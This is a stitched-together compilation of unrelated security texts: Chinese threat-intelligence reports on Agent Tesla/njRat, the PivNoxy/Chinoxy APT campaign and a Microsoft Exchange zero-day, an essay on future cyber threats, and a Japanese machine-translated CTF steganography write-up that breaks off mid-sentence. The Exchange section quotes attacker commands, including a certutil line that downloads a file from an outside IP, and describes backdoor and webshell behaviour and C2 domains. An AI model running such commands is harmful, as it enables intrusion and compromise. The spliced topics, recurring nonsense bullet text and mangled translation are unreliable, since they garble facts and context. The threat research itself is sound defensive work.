除了Agent Tesla和njRat,研究人員還在更新的HTML文件“www.webclientservices.co[.]uk/p/1[.]HTML”中找到了一個簡短的腳本,該文件將挖礦軟件下載到“C:\\ProgramData”。這是一種奇怪的行為,因為此攻擊鏈中的每個步驟都試圖在受害者的設備上不留下任何物理跟踪或文件。研究人員認為這可能會分散受害者的注意力,以免他們注意到另一個進程正在加載njRat。

32.png

下載挖礦軟件的JavaScript

33.png

njRat和miner的Process Explorer視圖

總結Agent Tesla和njRat多年來都是高度活躍的惡意軟件。它們的功能成熟,易於用於監視或竊取信息。如上所述,惡意URL不斷更新其嵌入的JavaScript,這意味著這些釣魚電子郵件和誘騙辦公室文件始終是傳播此惡意軟件的有效方式。網站中嵌入的所有VBA宏、PowerShell和JavaScript代碼都可以部署無文件攻擊,也可以通過混淆或編碼字符串來逃避一些病毒檢測。

用戶應始終警惕任何包含外部網站鏈接的辦公室文件或未知文件。

34.png

攻擊流程

最近,南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件,這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息,目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台:Windows

马云惹不起马云受影響方:Windows 用戶

马云惹不起马云影響:控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別:中等

攻擊概述攻擊始於一封簡單的電子郵件,其中只附上了一份文件作為附件:

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的,這是一種網絡釣魚“武器”,被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器,允許APT 組織創建帶有嵌入式對象的RTF 文件,這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括:

马云惹不起马云CVE-2017-11882(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0802(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0798(Microsoft Office 內存損壞漏洞);

打開電子郵件附件“Please help to CHECK.doc”,會打開一個誘餌Word 文件。同時,它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明,並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是,舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意,文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後,這個惡意文件會釋放三個文件:

C:\\ProgramData\Cannon\Cannondriver.exe;

C:\\ProgramData\Cannon\LBTServ.dll;

C:\\ProgramData\Cannon\Microsoft.BT;

儘管文件名是假的,但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe,全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面,LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意,此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明,他們要么在近一年前就準備好攻擊目標,要么已經開始囤積惡意軟件,隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現,就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上,它調用名為LGBT_Launch的導出,該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後,惡意函數就加載了另一個被釋放的文件Microsoft.BT ,並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈,後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而,目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll,而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com,這是一個動態DNS,將連接重定向到攻擊者託管有效負載的IP。不幸的是,在調查時沒有遠程文件可用。幸運的是,nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT),早在十多年前就被發現。 RAT 也稱為Pivy,活躍在地下論壇中,允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客,詳細介紹了PoisonIvy 的工作原理:

Poison Ivy 新變種的深度分析;

新Poison Ivy/PlugX 變體的深度分析;

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此,PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊,但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3),該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明,該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ,並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中,union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中,LBTServ.dll 包含完整的後門有效負載,而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持,有8 個虛假導出,還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信,這兩種攻擊最有可能來自攻擊組織,但根據向VirusTotal提交文件的日期,這兩種攻擊可能發生在2022年1月。

更有趣的是,719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”,而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後,時間是2016-07-09 13:18:11 UTC。這些數據表明,該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在,讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說,我們將重點介紹他們使用的一個文件,即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞,以便在執行真正的羅技進程時加載。隨著時間的推移,這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件,執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到,在2021年第三季度,攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體,該變體從文件中解密和加載shellcode ,並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現,從2016 年年中到2018 年底,“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中,惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串,它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據,這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是,同一個C2 服務器已經使用了兩年多。分析表明,該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初,情況一直相對平靜。該組織回歸後,首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器,與許多程序一樣,它會聯繫服務器以檢查更新。然而,APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件,而是改變了攻擊策略,並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似,此PivNoxy 變體(SHA2:5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6)使用一個偽造的更新包來解壓多個文件,包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而,在本示例中,“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件,PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家,但研究人員的分析表明,更多受感染的遊戲玩家來自墨西哥。

此時,該攻擊組織再次決定隱身。一直到2022 年5 月,該組織偽裝成來自巴基斯坦政府部門,向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次,它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據,近70%的攻擊來自墨西哥,近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡,對這三個域的所有訪問都來自印度。由於它們是動態DNS,因此並非所有連接都可以視為與攻擊組織有關。然而,2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分,該組織使用FunnyDream 後門作為其工具集的一部分,主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度,而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法,ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外,NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”,攻擊者將其用作Smanager 惡意軟件的C2 服務器,該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件,該電子郵件最初似乎是標準的惡意垃圾郵件。但是,附加的Word 文件是含有Royal Road 惡意負載,可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載,但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析,亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標,我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

雖然互聯網無疑帶來了新的好處,但也帶來了新的問題,因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊,或竊取銀行資料、密碼及其他個人信息,互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如,只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅,不過技術已經在邁進,帶來了我們必須防備的新威脅。

量子計算:密碼破解和貨幣挖掘量子計算是最重大的技術突破之一,它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時,也會帶來新的挑戰。最值得注意的是,功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法,包括網上銀行、安全通信和數字簽名。

目前,量子計算成本高昂,開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣,量子計算最終會變得更商業化、更普及,網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示,屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局(CISA)此前警告,現在須採取行動,幫助保護網絡免受借助量子計算的網絡攻擊,尤其是那些支持關鍵國家基礎設施的網絡。

不過,雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅,但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上,悄然利用他人網絡的資源來挖掘加密貨幣,從中牟利,這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的,這類數學問題用量子計算機網絡來解決比較容易。這意味著,如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件,一下子就能暴富,自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示,只要感染一台量子計算機,就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件,將極大地提高挖礦能力,這成為網絡攻擊的目標,很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術,預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣,人工智能和機器學習將推動眾多領域的創新,包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道,但最終一旦人工智能變得更普遍,網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示,我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是,編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵(BEC)活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者,而不是仍然不為所動的人,或者將惡作劇回復發回給垃圾郵件發送者的人,而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展,開發自編程的智能惡意軟件,而不是需要開發人員來支持它,這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己,從而最大限度地發揮成效。

Hyppönen表示,可以想像,當自編程程序變得功能比現在更強大時,可以完成人類創建的功能,這聽起來很好,但如果換成勒索軟件,情況就不容樂觀了。

勒索軟件可能改變代碼,變得更難理解,而且每次都不一樣,它可能嘗試創建檢測不到的版本。這一切在技術上是可行的,這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題,如今已經在上演:深度學習被用來支持深度偽造(deepfake),這種視頻看起來像是真實的人或活動,但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客,它們已經被用於增強BEC及其他欺詐攻擊,網絡犯罪分子使用深度偽造音頻,說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示,深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱,還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視,發表演講,網上有他們的視頻,比較容易找到他們聲音的錄音,騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟,如果員工接到公司負責人的電話,告訴他們做某事,他們很可能會照辦,實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例:深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進,這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是,我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來,深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分,各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點,但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接,它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機,也不存在無法攻破的設備。這是當下發生的一幕,無法阻止,而且會越來越隱蔽。

想想家用電器:它們越來越有可能變得“智能”、聯網。從電視到牙刷,任何東西現在都可以聯網。但對於家電製造商來說,製造聯網設備是比較新的現象,以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點,因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂,但這類設備是網絡上的節點,一旦被訪問,可以作為跳板,進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進,但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備,這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網,如果冰箱或汽車設備可能繼續使用數十年,將會發生什麼?

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新,就應該開放源代碼,以便別人支持更新。

聯網設備已經在整個社會無處不在,整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量,可能會給每個人帶來負面影響。

如果你不解決這些問題,將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標,我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪,但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平,但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強:為惡意行為建立模型,然後使用人工智能、大數據、分析及不同類型的機器學習算法,繼續改進技術。

現在無法阻止一切,因為網絡犯罪分子總是在調整策略,但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善,即使新技術即將出現,這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全,就會發現我們在安全方面變得越來越好,攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

8月初,在執行安全監控和事件響應服務時,GTSC SOC團隊發現一個關鍵基礎架構受到攻擊,經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間,GTSC Blue Team專家確定,攻擊者利用了一個未公開的Exchange安全0 day 漏洞,因此立即制定了臨時緩解計劃。與此同時,安全專家開始研究和調試Exchange反編譯代碼,以查找漏洞並利用代碼。經分析,該漏洞非常嚴重,使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI),以便與微軟合作,盡快準備修補程序。 ZDI驗證並確認了2個漏洞,CVSS評分分別為8.8和6.3。

1.png

不過截至目前,修復程序還未發布,GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試,研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時,GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示:

加图1.png

研究人員還檢查了其他日誌,發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新,因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後,他們對為什麼漏洞利用請求與ProxyShell bug類似? RCE是如何實施的?等問題進行了研究。

經過分析,研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而,處於安全考慮,目前我們還不想發布該漏洞的技術細節。

利用後(Post-exploit)活動在追踪到有關攻擊示例後,研究人員開始收集信息並在受害者的系統中建立一個立足點。另外,攻擊者還使用各種技術在受影響的系統上創建後門,並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器,其中大部分是模糊的。通過用戶代理,我們檢測到攻擊者使用了Antsword,這是一個基於中文的開源跨平台網站管理工具,支持webshell管理。

加图2.png

另一個值得注意的特點是,攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中,GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外,攻擊者還通過certutil下載文件並檢查連接,certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是,每個命令都以字符串echo[S]cdecho[E]結尾。

此外,攻擊者還將惡意DLL注入內存,在受攻擊的服務器上釋放可疑文件,並通過WMIC執行這些文件。

可疑文件在服務器上,研究人員檢測到exe和dll格式的可疑文件:

3.png

在可疑文件中,根據服務器上執行的命令,研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後,攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是,在響應過程中,上述文件在受攻擊的系統中不再存在,可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名:Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為,其他DLL樣本有類似的任務和行為,只是偵聽器配置不同。

DLL由兩個類組成:Run和m,每個類都調用執行不同任務的方法。具體地說:

Run類創建一個偵聽器,偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後,惡意軟件創建一個調用r的新線程。方法r執行以下操作:

1.檢查接收到的請求正文中是否有數據,如果沒有,則返回結果404。

2.相反,如果請求包含數據,DLL將繼續處理if分支內的流:

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是,調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果:

6.png

m類方法i可以:

1.使用AES算法對收到的請求進行解密,其中請求的前16個字節是IV值,後16個字節為key值,其餘為數據。

2.解碼後,獲取數組中的第一個元素作為標誌,以處理定義的情況,處理定義的情況如下:

7.png

示例1:調用方法info。該方法主要負責收集系統信息,比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送:前16字節是IV值,後16字節是key值,後面是一個指定選項的標誌,其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2:調用方法sc,調用sc方法,該方法負責分配內存來實現shellcode。

9.png

示例3:調用兩個方法p和r。方法p處理由“|”字符分隔的數據,保存到數組array3。數組array 3將前兩個元素作為方法r的參數,該方法負責執行命令。

10.png

示例4:調用方法ld,該方法負責以以下這種格式列出目錄和文件信息:

加图3.png

11.png

示例5:調用方法wf,該方法負責寫入文件:

12.png

示例6:調用方法rf,該方法負責讀取文件:

13.png

示例7:創建文件夾;

示例8:刪除文件或文件夾;

示例9:移動文件;

示例10:設置文件時間;

14.png

示例11:加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務,只是偵聽器配置不同,如下所示:

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據,其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外,可能還有許多其他組織被利用,但尚未被發現。在等待正式補丁的同時,GTSC提供了一個臨時緩解措施,通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求,從而緩解攻擊。

在前端自動發現中,選擇選項卡“URL重寫”,選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑:

18.png

條件輸入:選擇{REQUEST_URI}:

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施,以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用,GTSC發布了掃描IIS日誌文件的指南和工具(默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中):

方法1:使用powershell命令:

加图4.png

方法2:使用GTSC開發的工具:基於漏洞簽名,我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接:https://github.com/ncsgroupvn/NCSE0Scanner。

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか?ベース機能。エンコード長:3バイナリデータ(24ビット)ごとに、4つのASCII文字(文字あたり6ビット)にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット:Base64エンコーディング次の64文字で構成される文字セット:大文字:A-Z小文字:A-Z番号:0-9 2つのシンボル: +および /いくつかの実装では、 - +は - 、/_と交換することができます(通常はURL-Safe base64エンコードに使用されます)。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします(原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません)。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました!コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました!在这里插入图片描述

重要な情報を取得します。パス:STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」(zipの16進数——504b0304)在这里插入图片描述を分析して見つけます

